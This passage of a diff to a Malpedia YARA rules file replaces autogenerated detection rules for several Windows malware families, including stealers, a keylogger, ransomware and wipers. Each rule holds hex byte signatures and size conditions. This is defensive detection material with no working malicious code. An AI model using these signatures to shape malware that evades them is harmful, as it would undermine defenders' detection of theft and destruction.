488d0d19a80100 33d2 c744242800000008 895c2420 ffd0 488b4d00 4833cc } - $sequence_3 = { 4c8be7 4c8bf7 49c1fe05 4c8d3dffb60000 } - $sequence_4 = { 488d05fb0a0100 eb04 4883c014 8918 e8???????? 4c8d15e30a0100 4885c0 } - $sequence_5 = { 7440 66448923 8a45d8 4b8b8cf8e0d00100 88443109 8a45d9 } - $sequence_6 = { e9???????? 488d0d45010000 e9???????? 4883ec28 488d0d12910000 e8???????? 488d0d39010000 } - $sequence_7 = { 488bca 48c1f905 4c8d0533760100 83e21f } - $sequence_8 = { 4889442420 e8???????? 488d8380000000 803800 741d 4c8d0df2bc0000 41b802000000 } - $sequence_9 = { 894704 e9???????? 488d0d351f0100 48394c2458 7427 } + $sequence_0 = { 7542 53 bb0e000000 57 8d7e01 8d7371 } + $sequence_1 = { 56 8bf1 8975fc 803e00 7542 53 bb0e000000 } + $sequence_2 = { 8d7f01 0fb6c0 b957000000 2bc8 } + $sequence_3 = { 0f1f4000 8a07 8d7f01 0fb6c0 b966000000 2bc8 } + $sequence_4 = { 8d7f01 0fb6c0 b927000000 2bc8 } + $sequence_5 = { 8d7f01 0fb6c0 b978000000 2bc8 } + $sequence_6 = { 56 57 bf0e000000 8d7101 } + $sequence_7 = { 8d7f01 0fb6c0 b918000000 2bc8 } + $sequence_8 = { ff75fc ff15???????? e9???????? 6800800000 } + $sequence_9 = { 57 56 ff15???????? ff75f8 56 ff15???????? } + $sequence_10 = { 7605 b800005000 6a00 8d4c2418 } + $sequence_11 = { ffd0 85c0 7519 c705????????0a000000 e9???????? b801000000 e9???????? } + $sequence_12 = { 6810660000 ff7508 ff15???????? 85c0 } + $sequence_13 = { e8???????? 8bb6007d0000 85f6 75ef } + $sequence_14 = { ff75f8 ff15???????? 85c0 7508 6a01 ff15???????? 6aff } + $sequence_15 = { 7411 a801 740d 83f001 50 ff7608 ff15???????? } + $sequence_16 = { 53 56 8bf1 57 ff7608 ff15???????? } + $sequence_17 = { 3ce9 7412 3cff 0f859d000000 807f0125 0f8593000000 } + $sequence_18 = { 85c0 742b 03f0 03d8 } + $sequence_19 = { 41b901000000 4533c0 488bd3 488bce } + $sequence_20 = { 410f4ff5 488bcb 448bc6 ffd0 } + $sequence_21 = { 49f7e8 4903d0 48c1fa06 488bca 48c1e93f 4803d1 488d3c92 } + $sequence_22 = { 72c3 488b7c2448 b801000000 488b742440 4883c430 } + $sequence_23 = { ffd0 4c3beb 740f 4c3bfb 740a 4c3bf3 } + $sequence_24 = { 4833c4 4889442438 4533e4 418be8 4489642430 4c8bfa 4c8bf1 } + $sequence_25 = { 8b4c2430 8b05???????? 03c7 03c8 894c2430 8b442430 } condition: - 7 of them and filesize < 282624 + 7 of them and filesize < 520192 } -rule MALPEDIA_Win_Pss_Auto : FILE +rule MALPEDIA_Win_Hermeticwizard_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "8f53afdc-5ec6-5728-abfd-d91f1e9f3440" + id = "a90e0914-4bb5-5c18-8701-049f4c06d7e8" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pss" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pss_auto.yar#L1-L139" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hermeticwizard" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hermeticwizard_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "1278c29ce9286804a6a68366ec725de6162c277ad4b04021e24c075a2ce1e54a" + logic_hash = "942915314ef1e17eaccf9202ed3b81b64aa22d4533742c599cd868661ae4ab21" score = 75 quality = 75 tags = "FILE" @@ -116559,35 +116539,32 @@ rule MALPEDIA_Win_Pss_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d48fe e8???????? e9???????? 83f811 } - $sequence_1 = { 7437 ff15???????? 3de5030000 752a } - $sequence_2 = { ff15???????? 83ceff 3bc6 7504 } - $sequence_3 = { 8d4dbc c745fc02000000 e8???????? 8d8550ffffff 50 8d45bc } - $sequence_4 = { 6a00 ff15???????? 50 ff15???????? b001 eb24 e8???????? } - $sequence_5 = { 8d7f08 8b048d387a0010 ffe0 f7c703000000 } - $sequence_6 = { 83feff 0f8413020000 33c0 8d7c2424 ab ab ab } - $sequence_7 = { 51 ff75dc ff15???????? 85c0 751c } - $sequence_8 = { 8bf0 488bcd ff15???????? 85f6 740f 4439b42488000000 } - $sequence_9 = { 90 4c89642420 4c89642428 e8???????? } - $sequence_10 = { 48895d90 4c896588 4488642478 448d430c } - $sequence_11 = { 750d 48890a 488b4908 44384119 74ea } - $sequence_12 = { a801 7524 83c801 8905???????? 488d05c93d0000 488905???????? } + $sequence_0 = { 6800080000 50 e8???????? 83c410 85c0 } + $sequence_1 = { 1bdb 83cb01 85db 0f94c0 } + $sequence_2 = { 6685db 7415 668b5902 663b5f02 750f 83c104 83c704 } + $sequence_3 = { 6689853effffff 66898540ffffff 33c0 66898542ffffff 8b45f8 66898d16ffffff } + $sequence_4 = { 3bc7 7442 8b35???????? 83c008 50 } + $sequence_5 = { 57 8bf1 8bfa 68???????? 56 ff15???????? 85c0 } + $sequence_6 = { 894310 8b45f0 c745ec989d0110 8d1486 } + $sequence_7 = { 7410 68???????? 8bce e8???????? 59 894308 } + $sequence_8 = { 668b4104 663b4204 750b 8b4108 3b4208 7503 } + $sequence_9 = { 50 e8???????? 3b30 7533 8b45fc } condition: - 7 of them and filesize < 421888 + 7 of them and filesize < 263168 } -rule MALPEDIA_Win_Temp_Stealer_Auto : FILE +rule MALPEDIA_Win_Chairsmack_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "06945ffb-74bb-55c6-897c-840bc8a35717" + id = "4b93b15a-7734-556f-a7b1-b4512d41aa64" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.temp_stealer" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.temp_stealer_auto.yar#L1-L130" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.chairsmack" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.chairsmack_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "0687eb315a2ca722457708cc43ae8e72e82f9cde0b8833cdb29551011317ae50" + logic_hash = "1d38706ad5291374964e24dbf3b78379e0e5a0a84fd9338e0e05cc9f4e1d7fa2" score = 75 quality = 75 tags = "FILE" @@ -116601,71 +116578,71 @@ rule MALPEDIA_Win_Temp_Stealer_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 488b4d08 e8???????? 4403f7 4883c330 443bb518020000 0f8c37ffffff 488b5d00 } - $sequence_1 = { 488d1537b00300 488bcb ff15???????? 488945b0 488d1533b00300 488bcb ff15???????? } - $sequence_2 = { f20f58cb f20f58cf f20f102d???????? 488d1592e10100 f20f59ee f2430f1004c1 } - $sequence_3 = { 4533c0 baa00f0000 e8???????? 488b05???????? 4c8d05f52b0300 488bd5 48c1fa06 } - $sequence_4 = { 488d0526dc0100 483947f0 741a 488b0f 4885c9 7412 833900 } - $sequence_5 = { 90 488b8d80000000 e8???????? 90 498bcd } - $sequence_6 = { 488b13 48c1e205 4883c208 488bcb e8???????? 90 4183660800 } - $sequence_7 = { 894708 488d5901 41bf20000000 418bc7 48f7e3 498d4fdf 480f40c1 } - $sequence_8 = { 48895c2478 488d5530 488d4c2460 e8???????? 90 488d5580 } - $sequence_9 = { 90 488d442440 48894558 4c897c2440 4c897c2450 48895c2458 488d153cc80300 } + $sequence_0 = { 8a01 41 84c0 75f9 2b4dac 8d450c 6a00 } + $sequence_1 = { c7462000000000 c7462400000000 c7462800000000 c7462c00000000 e8???????? 6819020000 68???????? } + $sequence_2 = { 8d44241c 50 e8???????? 50 c684248c00000002 e8???????? } + $sequence_3 = { 8b8dd0fdffff 83e11f c1e106 030c85d06d4a00 898d30fdffff eb0a c78530fdffff78474a00 } + $sequence_4 = { 50 e8???????? 83c404 8d8580feffff 68b8000000 6a00 50 } + $sequence_5 = { 68???????? e8???????? 83ec1c c68424b80300009f 8bcc 68???????? e8???????? } + $sequence_6 = { 837dc800 7526 68???????? 68???????? 6a00 68de000000 68???????? } + $sequence_7 = { ff15???????? 8b4d08 8b148dcc504a00 83e202 740d 8d85e4dfffff 50 } + $sequence_8 = { 0fb745ec eb5a 8d45ec 8d4dc8 3945c0 7579 8d4594 } + $sequence_9 = { 7207 8b16 895518 eb03 897518 83f810 7204 } condition: - 7 of them and filesize < 652288 + 7 of them and filesize < 1974272 } -rule MALPEDIA_Win_Hermes_Ransom_Auto : FILE +rule MALPEDIA_Win_Avrecon_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "88136c82-87ab-5f89-8963-9afb9534a540" - date = "2021-10-07" - modified = "2021-10-08" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hermes_ransom" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hermes_ransom_auto.yar#L1-L125" + id = "e925dd84-abb8-59f0-bccd-32907a99e474" + date = "2026-01-05" + modified = "2026-01-06" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.avrecon" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.avrecon_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "2bb9637b7e3ee9fcdd4e957eade001e8c8132e1b7c987ea6727ab44eda025915" + logic_hash = "765f86e5cde1b429c99a3eaacfdc82ca40acf684e216c378122ba2b0c85c22ec" score = 75 quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" signator_config = "callsandjumps;datarefs;binvalue" - malpedia_rule_date = "20211007" - malpedia_hash = "e5b790e0f888f252d49063a1251ca60ec2832535" - malpedia_version = "20211008" + malpedia_rule_date = "20260105" + malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" + malpedia_version = "20251219" malpedia_license = "CC BY-SA 4.0" malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 59 59 8945e0 837ddc00 7506 837de000 7405 } - $sequence_1 = { 8d45dc 50 ff75d8 8d8560ffffff 50 ff75e0 ff15???????? } - $sequence_2 = { 33c0 668945e2 33c0 8945e4 8945e8 837df020 } - $sequence_3 = { 6a00 8d85a4f9ffff 50 ff15???????? 5f 5e 8be5 } - $sequence_4 = { 0fb7844504f7ffff 83f83b 741f 8b45d8 8b4df0 668b8c4d04f7ffff } - $sequence_5 = { 8365c800 8365d000 c745b840420f00 8365e000 eb07 8b45e0 40 } - $sequence_6 = { 59 6bc900 668981e8c34000 6a02 } - $sequence_7 = { 59 59 6a0f 6a00 8d45bc 50 } - $sequence_8 = { 8365f000 8b45f0 8945f8 837df800 7456 } - $sequence_9 = { 83e002 7415 ff750c ff75fc e8???????? 59 } + $sequence_0 = { 6a24 8d4554 50 e8???????? } + $sequence_1 = { 8d45f8 50 53 ff75ec c745f801000000 ffd7 83f8ff } + $sequence_2 = { 83791c01 7511 6a00 8d4514 50 56 57 } + $sequence_3 = { 8d4401fc c7457401000000 894570 8d7c1f04 837d7000 } + $sequence_4 = { 807d7301 7508 e8???????? 885d73 8d85a8f3ffff 50 } + $sequence_5 = { 8d85a8f7ffff 50 c7454000040000 ff15???????? } + $sequence_6 = { 51 894d30 33c0 8d8d18feffff 40 51 50 } + $sequence_7 = { 50 bb7f660440 53 ff7508 c745f801000000 ffd7 83f8ff } + $sequence_8 = { 50 e8???????? 85c0 7466 6a0e 68???????? } + $sequence_9 = { 83650800 b8e8030000 660105???????? 0fb705???????? 50 ffd6 668945de } condition: - 7 of them and filesize < 7192576 + 7 of them and filesize < 360448 } -rule MALPEDIA_Win_Heloag_Auto : FILE +rule MALPEDIA_Win_Killdisk_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "8ed63d6a-bd5d-5cf3-8c24-b83f34a89c57" + id = "1c433beb-dada-5b26-9857-13f0bee328ff" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.heloag" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.heloag_auto.yar#L1-L168" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.killdisk" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.killdisk_auto.yar#L1-L164" license_url = "N/A" - logic_hash = "2f5a3d733baee006935f8eba431242cec5f8a5f8274d648625719943963ee673" + logic_hash = "50990d6a3b9890877b878363fc44a7021b275eb6d67ceb6edc1c960b038217f1" score = 75 quality = 75 tags = "FILE" @@ -116679,38 +116656,38 @@ rule MALPEDIA_Win_Heloag_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 33c0 f3a5 8a0d???????? 8dbdadfdffff 888dacfdffff } - $sequence_1 = { a1???????? 6889130000 68???????? 8b4810 51 e8???????? 83f8ff } - $sequence_2 = { 3bc2 7e7f 33f6 ff15???????? 257f000080 7905 } - $sequence_3 = { 90 90 8b45e4 b919000000 25ffff0000 99 } - $sequence_4 = { 83c261 52 99 f7f9 8d85dcfdffff 83c261 52 } - $sequence_5 = { 50 68???????? ff15???????? 50 ffd3 8d8dd8fcffff } - $sequence_6 = { 99 f7f9 8b45c8 25ffff0000 } - $sequence_7 = { 8b0d???????? 8b15???????? 8985e0faffff 66a1???????? } - $sequence_8 = { 8b4e0c 3bcd 8b07 89442410 7464 } - $sequence_9 = { 50 53 8bcd ff15???????? 6a00 6a00 8bcd } - $sequence_10 = { 7505 a1???????? 894304 8b5608 895308 } - $sequence_11 = { f2ae f7d1 49 51 56 68???????? } - $sequence_12 = { 8b11 8bcf 52 6a00 50 } - $sequence_13 = { ff15???????? 8a4c2413 6a00 884c244c 8d4c244c } - $sequence_14 = { 53 68???????? 8d4c2420 ff15???????? } - $sequence_15 = { ff15???????? 84c0 7420 8b7d04 } + $sequence_0 = { ff15???????? 8945e4 8b7508 c7465c904c4200 33ff } + $sequence_1 = { 75f7 2bca 8d7c243c 8bf2 8bd1 } + $sequence_2 = { 881c24 e8???????? d2cd 80d213 66c1e204 8b5500 f8 } + $sequence_3 = { eb09 8b442430 2bc1 c1f802 8d3c8500000000 57 } + $sequence_4 = { c604243a 9c 8d642434 e9???????? } + $sequence_5 = { 84c0 75c1 8d442404 50 } + $sequence_6 = { e9???????? 66894500 66897c240c 882c24 } + $sequence_7 = { 0f8482000000 55 e8???????? 8b1d???????? } + $sequence_8 = { e8???????? 881438 e8???????? 9c c6442408cf 894508 e9???????? } + $sequence_9 = { 6800100000 51 8bf0 ff15???????? } + $sequence_10 = { 46 66892c24 9c 8d64244c e9???????? 9c } + $sequence_11 = { 88442408 50 8d642434 e9???????? } + $sequence_12 = { 3b54242c 0f84d5000000 b83092c201 33ff e8???????? 85c0 } + $sequence_13 = { e9???????? 883424 ff742420 8f4500 9c } + $sequence_14 = { f5 88742408 c70424ba7bbfa4 660fbae408 662dca11 e8???????? 881438 } + $sequence_15 = { 8b542438 6888130000 52 ff15???????? } condition: - 7 of them and filesize < 401408 + 7 of them and filesize < 10817536 } -rule MALPEDIA_Win_Sharpknot_Auto : FILE +rule MALPEDIA_Win_Batchwiper_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "45650ffc-30fa-59dd-9298-17c525a596bf" + id = "8e0f816b-f334-5f53-bde8-8c13e5a1573a" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sharpknot" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sharpknot_auto.yar#L1-L126" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.batchwiper" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.batchwiper_auto.yar#L1-L120" license_url = "N/A" - logic_hash = "f79cb6af16b4be17278bbf2846f42541c5c87bd486108c50193c9587c9073fc1" + logic_hash = "7b7cda4dab9bb8ec218294d77768f35a5d54eba78e3d583128b9f7cf9e6690f0" score = 75 quality = 75 tags = "FILE" @@ -116724,71 +116701,71 @@ rule MALPEDIA_Win_Sharpknot_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 8d8c246c020000 c7842498050000ffffffff e8???????? 8b8c2490050000 } - $sequence_1 = { 8d542420 8bcf b8abaaaa2a 2bcd 52 f7e9 c1fa02 } - $sequence_2 = { 8bca 897c2430 c1e91f 03d1 83fa01 0f83b3000000 8bcb } - $sequence_3 = { e8???????? 8b8c2490050000 5f 5e 5d 33c0 5b } - $sequence_4 = { 8a8681f84400 2410 3c10 7508 660fb6b680f74400 } - $sequence_5 = { 7f08 81f90000a000 7616 6800001000 8d542414 6a01 } - $sequence_6 = { 51 e8???????? 89442448 89442428 8b44243c 895c2434 8954244c } - $sequence_7 = { 7522 8d44240c 50 e8???????? 8bf0 83c408 85f6 } - $sequence_8 = { f3a4 b910000000 8d7c2414 f3ab 8d442454 8d4c2410 50 } - $sequence_9 = { 8b520c 52 e8???????? 83c404 } + $sequence_0 = { a1???????? 50 50 ff742408 e8???????? 8d0d2cb14000 5a } + $sequence_1 = { 8d0d24b14000 5a e8???????? c744240c02000000 } + $sequence_2 = { a1???????? 50 50 ff35???????? ff35???????? e8???????? 8d0d9cb14000 } + $sequence_3 = { 8d0d44b14000 e8???????? ba???????? 8d0d48b14000 e8???????? ba???????? 8d0d4cb14000 } + $sequence_4 = { ff96e0de0100 09c0 7407 8903 } + $sequence_5 = { e8???????? a3???????? 8b1d???????? 21db 7e65 c705????????00000000 8b1d???????? } + $sequence_6 = { e8???????? ba???????? 8d0d60b14000 e8???????? ba???????? 8d0d64b14000 e8???????? } + $sequence_7 = { 893d???????? c705????????dd424000 c705????????80464000 c705????????da464000 } + $sequence_8 = { 8b442408 894514 8b442404 894518 } + $sequence_9 = { 46 46 53 686d490100 57 } condition: - 7 of them and filesize < 1032192 + 7 of them and filesize < 270336 } -rule MALPEDIA_Win_Unidentified_101_Auto : FILE +rule MALPEDIA_Win_Lechiket_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "1e5a977c-e7e9-5732-97b6-6aadc4f691fc" - date = "2023-03-28" - modified = "2023-04-07" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_101" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_101_auto.yar#L1-L128" + id = "08dac53f-197a-5416-a7db-8f3c1de4ec77" + date = "2026-01-05" + modified = "2026-01-06" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lechiket" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lechiket_auto.yar#L1-L123" license_url = "N/A" - logic_hash = "71f0751fbd77a928634515b558d06922b4bf4a312042d6abbd6ba70171c64843" + logic_hash = "fc33b6d2e9f07c53a0ef858e0194b9a6cf5341ef888af832ba9746c5214aaca1" score = 75 quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" signator_config = "callsandjumps;datarefs;binvalue" - malpedia_rule_date = "20230328" - malpedia_hash = "9d2d75cef573c1c2d861f5197df8f563b05a305d" - malpedia_version = "20230407" + malpedia_rule_date = "20260105" + malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" + malpedia_version = "20251219" malpedia_license = "CC BY-SA 4.0" malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c70016000000 e8???????? 83c8ff e9???????? 498bc4 488d0ddb070100 83e03f } - $sequence_1 = { 6689842404010000 b865000000 6689842406010000 33c0 6689842408010000 } - $sequence_2 = { 33c0 b968000000 f3aa 488d842400010000 4889442448 488d842430020000 4889442440 } - $sequence_3 = { 4889742410 57 4883ec20 418bf0 4c8d0debb40000 8bda 4c8d05dab40000 } - $sequence_4 = { c744243000000000 4c8d4c2430 4c8b442440 8b542468 488b4c2460 } - $sequence_5 = { c68424e900000065 c68424ea00000057 c68424eb00000000 c644243052 c644243165 c644243261 c644243364 } - $sequence_6 = { 428a8c1910e40100 4c2bc0 418b40fc 4d894108 d3e8 41894120 } - $sequence_7 = { 48c744242000000000 4c8d8c24c8000000 448b442450 488b542458 488b4c2470 ff15???????? } - $sequence_8 = { 41b804010000 488d942400030000 33c9 ff15???????? c744245801000000 e8???????? 833d????????01 } - $sequence_9 = { 7528 48833d????????00 741e 488d0dd8450100 e8???????? 85c0 740e } + $sequence_0 = { 57 ff15???????? 3d02010000 7519 56 ff15???????? 53 } + $sequence_1 = { 57 eb4b 8a16 80fac0 } + $sequence_2 = { 740f 47 3b7d0c 76d6 33c0 } + $sequence_3 = { 51 ff7518 8365fc00 ff7514 8d4510 } + $sequence_4 = { c786????????1a000000 8a550b 8bcb ff15???????? 5f 5e } + $sequence_5 = { ff750c e8???????? 85c0 0f84bdfdffff 8b4df8 8d7c0f01 8d480a } + $sequence_6 = { 85d2 7505 b80d0000c0 85ff 5e 740c 85c0 } + $sequence_7 = { e8???????? 84c0 7504 fec0 eb1c 53 8bce } + $sequence_8 = { 33f6 39750c 57 7613 ff15???????? 88843500ffffff 46 } + $sequence_9 = { 8945f8 8d45d0 6808070000 50 } condition: - 7 of them and filesize < 402432 + 7 of them and filesize < 331776 } -rule MALPEDIA_Win_Terra_Stealer_Auto : FILE +rule MALPEDIA_Win_Arik_Keylogger_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "234ed187-f851-554b-a630-3727e334e709" + id = "7c7e785e-68b0-5d15-8779-d3bc99c37de2" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.terra_stealer" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.terra_stealer_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.arik_keylogger" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.arik_keylogger_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "ba7828bda62d9e0272e6a0dfd1c69067ed7e871d009d7d515799e6dd5814f419" + logic_hash = "3dfa4619d5193e3c6023ed0580ae1b26d4332f72fbcfed50985df75f7171bee8" score = 75 quality = 75 tags = "FILE" @@ -116802,33 +116779,33 @@ rule MALPEDIA_Win_Terra_Stealer_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 85c0 0f8523030000 488b0f 4885c9 7405 e8???????? 4180fc05 } - $sequence_1 = { e8???????? 488983f0120000 4885c0 7456 41b80f000000 488d15302f0900 488bcb } - $sequence_2 = { eb04 4c8b7d28 4533c9 4533c0 488d1525861d00 488d4c2478 ff15???????? } - $sequence_3 = { ffca 84c0 7425 8bc8 410fb600 420fb6843840061f00 4238843940061f00 } - $sequence_4 = { 0f8c6effffff 4533c9 418b5708 498bc1 8b7e08 85d2 498bcc } - $sequence_5 = { ffc0 84c9 75e9 4863c8 4881f9f4010000 0f8339070000 488d8550010000 } - $sequence_6 = { eb24 498b4e10 4885c9 7415 0f1f00 8b4164 2403 } - $sequence_7 = { eb07 896b2c c6430144 488bc3 488b5c2478 4883c430 415d } - $sequence_8 = { e9???????? 488d8ae80f0000 e9???????? 488d8a00100000 e9???????? 488d8a18100000 e9???????? } - $sequence_9 = { e9???????? 488b5308 488d05d334f3ff 48ff42f8 4c8b4318 488b3b 4981f8ffffff7f } + $sequence_0 = { b8???????? e8???????? 83f801 0f85cb000000 8d45b8 e8???????? c745b800000000 } + $sequence_1 = { 8d55b0 e8???????? 8b55b0 8d45ac b9???????? e8???????? 8b55ac } + $sequence_2 = { e8???????? 8b45f8 80780700 740b 8d55f0 8b45f8 e8???????? } + $sequence_3 = { e8???????? 84c0 741d 6a00 6a00 68c6000000 8b45fc } + $sequence_4 = { c645f400 8b55fc b8???????? e8???????? 84c0 0f84b3010000 8b45fc } + $sequence_5 = { e8???????? 89c1 81f9ff000000 7605 e8???????? 8802 eb08 } + $sequence_6 = { e8???????? 88459c 8b45a8 48 83f804 7723 ff248590826100 } + $sequence_7 = { e8???????? c745d000000000 8d4dd0 89d8 ba07000000 8b33 ff5678 } + $sequence_8 = { 8d45e4 baffffffff e8???????? 8945f8 c645ec00 8d4dd8 8d55c0 } + $sequence_9 = { b8???????? e8???????? 84c0 741b 8b45fc 8b80a8020000 8b55f4 } condition: - 7 of them and filesize < 4621312 + 7 of them and filesize < 4947968 } -rule MALPEDIA_Win_Powersniff_Auto : FILE +rule MALPEDIA_Win_Wndtest_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "2a881adf-7d1a-56c3-b5e7-0d44ba58f640" + id = "fa7e1d3e-ff37-533f-8f3a-ddc800dad583" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.powersniff" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.powersniff_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wndtest" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.wndtest_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "5f0dc4acb7c58a41f657c7beac5f0371e51ded838f8edb6d41966e6195e43ff4" - score = 75 + logic_hash = "e52dae40ef4794c37daf120253466cc3a5d1ee85941c6b51e3b69e035267f66f" + score = 50 quality = 75 tags = "FILE" version = "1" @@ -116841,32 +116818,32 @@ rule MALPEDIA_Win_Powersniff_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b5dec ff75fc e8???????? 8bd8 3bde } - $sequence_1 = { 894df4 33ff eb08 3c0d 7408 47 } - $sequence_2 = { c745e04d9b0010 c745e46f910010 c745e8a2910010 c745ec549b0010 c745f0c2910010 } - $sequence_3 = { 8b4508 56 be???????? 57 8908 8a03 894dfc } - $sequence_4 = { 8975ec 8b75f4 c1ee18 8b34b590740010 } - $sequence_5 = { eb12 c745fc08000000 eb09 ff15???????? 8945fc 8b45fc 5f } - $sequence_6 = { 33db 43 5e 5f ff75fc ff15???????? ff75f0 } - $sequence_7 = { 750f ff15???????? 3de5030000 750d eb09 ff7610 } - $sequence_8 = { ff15???????? 8bf8 897df0 3bfb 7435 8d4508 50 } - $sequence_9 = { 331cb590840010 c1ea18 8b349590780010 8b55f4 335808 c1ea08 } + $sequence_0 = { 89461c 8907 894704 894708 89470c 894710 } + $sequence_1 = { 8945fc eb03 8b45fc 8b5d08 } + $sequence_2 = { 53 6a00 ff15???????? 6a0d ff15???????? } + $sequence_3 = { 8b4de8 41 51 e8???????? 83c404 } + $sequence_4 = { 5e 8be5 5d c3 880c3e 5f 5e } + $sequence_5 = { 6805010000 e8???????? 83c404 6804010000 8bd8 53 6a00 } + $sequence_6 = { 33c9 8d460a ba02000000 f7e2 0f90c1 f7d9 } + $sequence_7 = { 50 56 ffd7 a3???????? 8b0d???????? 8b15???????? } + $sequence_8 = { 46 895dfc 3b750c 7cbe 5f } + $sequence_9 = { c3 880c3e 5f 5e } condition: - 7 of them and filesize < 90112 + 7 of them and filesize < 901120 } -rule MALPEDIA_Win_Royalcli_Auto : FILE +rule MALPEDIA_Win_Httpdropper_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "9a5a0dbf-041d-5a71-ace4-cc85bbf8dbac" + id = "18260766-6bdf-5211-bbc4-97447962c71b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.royalcli" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.royalcli_auto.yar#L1-L130" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.httpdropper" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.httpdropper_auto.yar#L1-L186" license_url = "N/A" - logic_hash = "c1838945d5c33b64e750d6ae434f43dd65441d3926695dd6e2b710434dc1c7bb" + logic_hash = "22451066791784b19aa73ef3663c2f2d2a5d036611d6a095731732bebf19aeab" score = 75 quality = 75 tags = "FILE" @@ -116880,32 +116857,38 @@ rule MALPEDIA_Win_Royalcli_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6a02 53 56 c745e844006900 c745ec73006100 c745f062006c00 c745f465004300 } - $sequence_1 = { 33f6 85ff 7e4b 4f c1ef02 8d4a01 } - $sequence_2 = { 66895008 6800000080 8d85d8fdffff 50 ffd3 83f8ff 7421 } - $sequence_3 = { 